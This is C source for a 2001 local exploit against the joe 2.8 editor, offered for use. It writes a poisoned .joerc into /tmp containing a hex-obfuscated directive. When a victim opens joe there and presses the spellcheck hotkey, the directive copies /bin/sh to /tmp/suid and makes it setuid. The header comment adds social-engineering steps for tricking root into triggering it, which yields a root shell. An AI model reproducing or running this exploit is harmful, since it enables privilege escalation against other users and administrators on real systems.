/*  joe 2.8 local exploit by fides

    pr0pz;-  essell | dionysus | valarius | acharon | yuklop | m0rt
              opt1k | il | ahriman

    gives shell owned by user of joe


    Vulnerable:  joe 2.8 - Immunix 6.2/7.0beta / slack 7.1 / redhat 6.x/5.2
                           NetBSD 1.5/1.4.3 / mandrake 6.x/7.x / FreeBSD 4.2/3.5.1
                           Connectiva 4.x-6.0

    Tested on:   FreeBSD 4.2-Release / joe 2.8

    ** Note:     Requires ispell **


    ===-- usage --===  [for the clueless]

    $ gcc -o joe28 joe28.c
    $ ./joe28
      (blah blah)
    $ echo "la la" >/tmp/weird_file
    $ echo "hey, i found a wierd file in /tmp. When i try to spellcheck it with joe
      just a ctrl-[ l , something happens and the terminal display corrupts.. check it out."
      | mail root
    $ exit

    (24 hours pass)

    $ /tmp/suid
    #


    f1d3s@lineone.net
*/


#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

#define MAGIC_OFFSET    0x2c64  /*  \                                               */
#define JUMP_OFFSET     0x79    /*  |  ____   these work for v2.8, however changes  */
#define PICKUP_OFFSET   0x2e42  /*  |         may be in order for future versions.  */
#define END_OFFSET      0x4476  /*  /                                               */

char JOERC_PATH	 [] = "/usr/local/lib/joerc";
char WRITABLE    [] = "/tmp";   /* must be world-writable */

/* our evil malformed directive */
char c0de[] = "\x3a\x64\x65\x66\x20\x73\x70\x65\x6c\x6c\x66\x69\x6c\x65\x20\x66\x69\x6c\x74\x2c"
              "\x22\x63\x70\x20\x2f\x62\x69\x6e\x2f\x73\x68\x20\x2f\x74\x6d\x70\x2f\x73\x75\x69"
              "\x64\x3b\x20\x63\x68\x6d\x6f\x64\x20\x34\x37\x35\x35\x20\x2f\x74\x6d\x70\x2f\x73"
              "\x75\x69\x64\x22\x2c\x72\x74\x6e\x2c\x72\x65\x74\x79\x70\x65";

void banner()
{
	printf("\njoe 2.8 local exploit by fides [f1d3s@lineone.net]\n\n");
}

int exists(char *file)
{
	FILE *fp;
	fp = fopen(file, "r");
	if(fp == NULL) return 1;
	else fclose(fp);
	return 0;
}

unsigned long filesize(FILE *stream)
{
	unsigned long curpos, length;

	curpos = ftell(stream);
	fseek(stream, 0L, SEEK_END);
	length = ftell(stream);
	fseek(stream, curpos, SEEK_SET);
	return length;
}

int main()
{
	char *joerc;
	FILE *joe, *buf;
	unsigned long i;
	unsigned char c;

	banner();

	if(!(joerc = malloc(sizeof(JOERC_PATH)+14))) {
		printf("Couldn't allocate memory.\n");
		return -1;
	}

	if((exists(JOERC_PATH) == 1)) {
		printf("Can't read %s\n\nExploit failed.\n", JOERC_PATH);
		return -1;
	}

	if(WRITABLE[strlen(WRITABLE)-1] != '/') {
		WRITABLE[strlen(WRITABLE)+1] = 0;
		WRITABLE[strlen(WRITABLE)] = '/';
	}

	printf("Using world-writable dir:	%s\n", WRITABLE);

	printf("Grabbing %s ... \n",JOERC_PATH);

	joerc[0]='c';
	joerc[1]='p';
	joerc[2]=' ';
	joerc[3]=0;
	strncat(joerc, JOERC_PATH, sizeof(JOERC_PATH));
	strcat(joerc, " ");
	strcat(joerc, WRITABLE);
	strcat(joerc, ".joerc");
	system(joerc);

	printf("Inserting shellcode ... \n");

	sprintf(joerc, "%s.joerc", WRITABLE);
	if( (joe = fopen(joerc, "a")) == NULL) {
		printf("\nExploit failed: couldn't write to /tmp/joerc\n\n");
		return -1;
	}

	fclose(joe);

	if( (buf = fopen("/tmp/.tmp", "w")) == NULL) {
		printf("\nExploit failed: couldn't write to /tmp/.tmp\n\n");
		return -1;
	}

	joe = fopen(joerc, "r");

	for(i=0; i<filesize(joe); i++)
		fputc(getc(joe), buf);

	fclose(joe); fclose(buf);

	buf = fopen("/tmp/.tmp", "r");
	joe = fopen("/tmp/.joerc","w");

	for(i=0; i<MAGIC_OFFSET; i++)
		putc(getc(buf), joe);

	fprintf(joe, "%s\n", c0de);

	for(i=0; i<JUMP_OFFSET; i++)
		getc(buf);

	for(i=PICKUP_OFFSET; i<END_OFFSET; i++)
		putc(getc(buf), joe);

	fclose(buf); fclose(joe);
	remove("/tmp/.tmp");

	printf("\n\nNow type:     cd %s ; joe\n\n", WRITABLE);
	printf("and press the hotkey ^[ l\n\n");
	printf("/tmp/suid should appear, with the uid of the user running joe.\n\n");

	return 0;
}
/*                   www.hack.co.za  [20 march 2001]*/